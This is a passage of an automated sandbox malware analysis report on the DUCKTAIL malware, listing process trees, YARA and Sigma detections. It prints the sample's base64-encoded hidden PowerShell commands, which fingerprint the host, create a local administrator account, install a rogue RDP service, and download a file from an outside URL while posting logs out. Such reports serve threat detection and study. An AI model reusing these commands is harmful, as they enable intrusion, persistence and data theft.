ACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8532 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7984 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 2472 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1500 cmdline: "cmd.exe" /c sc stop "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 6560 cmdline: sc stop "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3336 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 4484 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 1676 cmdline: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 3684 cmdline: sc delete "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 4004 cmdline: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 3036 cmdline: net start "myRdpService" MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7628 cmdline: C:\Windows\system32\net1 start "myRdpService" MD5: BA0BCCC6029FBBE6D8B41197F252742F)

powershell.exe (PID: 2684 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

myRdpService.exe (PID: 6808 cmdline: C:\Windows\Temp\myRdpService.exe cakoi10 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A)

regedit.exe (PID: 2800 cmdline: "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService" MD5: 999A30979F6195BF562068639FFC4426)

powershell.exe (PID: 1232 cmdline: "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

systeminfo.exe (PID: 6068 cmdline: "C:\Windows\system32\systeminfo.exe" MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 5692 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 5280 cmdline: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 1548 cmdline: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DUCKTAIL	According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.	No Attribution	https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/ https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/ https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf https://securelist.com/ducktail-fashion-week/111017/	https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000002D.00000002.4694671593.00007FF640966000.00000004.00000001.01000000.0000000A.sdmp	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0xdac4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x11f94:$a2: 0123456789012345678901234567890123456789 0x3291c:$a3: NTPASSWORD 0x2f7b4:$a4: LMPASSWORD 0x5cd04:$a5: aad3b435b51404eeaad3b435b51404ee 0x14f54:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
00000003.00000002.3346172809.0000016200A6F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Ducktail_11	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 6736	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 6736	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x158352:$b1: ::WriteAllBytes( 0x45aa56:$b1: ::WriteAllBytes( 0xfa1fa:$b2: ::FromBase64String( 0x15a79d:$b2: ::FromBase64String( 0x1afa3f:$b2: ::FromBase64String( 0x1b28e5:$b2: ::FromBase64String( 0x1b4ea9:$b2: ::FromBase64String( 0x1b9e1f:$b2: ::FromBase64String( 0x1ba686:$b2: ::FromBase64String( 0x1ba8e2:$b2: ::FromBase64String( 0x28e675:$b2: ::FromBase64String( 0x28ef35:$b2: ::FromBase64String( 0x28efe2:$b2: ::FromBase64String( 0x28f1c5:$b2: ::FromBase64String( 0x28f309:$b2: ::FromBase64String( 0x28f370:$b2: ::FromBase64String( 0x28f3d5:$b2: ::FromBase64String( 0x28f441:$b2: ::FromBase64String( 0x28f4a1:$b2: ::FromBase64String( 0x28f52d:$b2: ::FromBase64String( 0x28f5a4:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 824	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 824	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 824	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3078b4:$b1: ::WriteAllBytes( 0x2f4504:$b2: ::FromBase64String( 0x2f6936:$b2: ::FromBase64String( 0x2f73f2:$b2: ::FromBase64String( 0x2f7460:$b2: ::FromBase64String( 0x2fdb2d:$b2: ::FromBase64String( 0x24571:$b3: ::UTF8.GetString( 0x582f3:$s1: -join 0x653c8:$s1: -join 0x6879a:$s1: -join 0x68e4c:$s1: -join 0x6a93d:$s1: -join 0x6cb43:$s1: -join 0x6d36a:$s1: -join 0x6dbda:$s1: -join 0x6e315:$s1: -join 0x6e347:$s1: -join 0x6e38f:$s1: -join 0x6e3ae:$s1: -join 0x6ebfe:$s1: -join 0x6ed7a:$s1: -join
Process Memory Space: svczHost.exe PID: 9108	JoeSecurity_Ducktail_6	Yara detected Ducktail	Joe Security
Process Memory Space: svczHost.exe PID: 9108	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x4f1bb:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x50917:$a2: 0123456789012345678901234567890123456789 0x5d2db:$a3: NTPASSWORD 0x5c012:$a4: LMPASSWORD 0x6eb06:$a5: aad3b435b51404eeaad3b435b51404ee 0x5180f:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
45.2.myRdpService.exe.7ff640460000.0.unpack	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x511cc4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x516194:$a2: 0123456789012345678901234567890123456789 0x536b1c:$a3: NTPASSWORD 0x5339b4:$a4: LMPASSWORD 0x560f04:$a5: aad3b435b51404eeaad3b435b51404ee 0x519154:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0

Other

Source	Rule	Description	Author	Strings
amsi64_824.amsi.csv	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
amsi64_824.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xfd25:$b1: ::WriteAllBytes( 0xc19b:$b2: ::FromBase64String( 0xe5ce:$b2: ::FromBase64String( 0xf08b:$b2: ::FromBase64String( 0x529:$b3: ::UTF8.GetString( 0xbdf0:$s1: -join 0x239:$s4: += 0x25c:$s4: += 0x559c:$s4: += 0x565e:$s4: += 0x9885:$s4: += 0xb9a2:$s4: += 0xbc8c:$s4: += 0xbdd2:$s4: += 0xf23f:$s4: += 0xf43c:$s4: += 0x116f2:$s4: += 0x63c11:$s4: += 0x686ba:$s4: += 0x6873a:$s4: += 0x68800:$s4: +=

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQA

Sigma detected: PowerShell Base64 Encoded WMI Classes

Source: Process started

Author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABk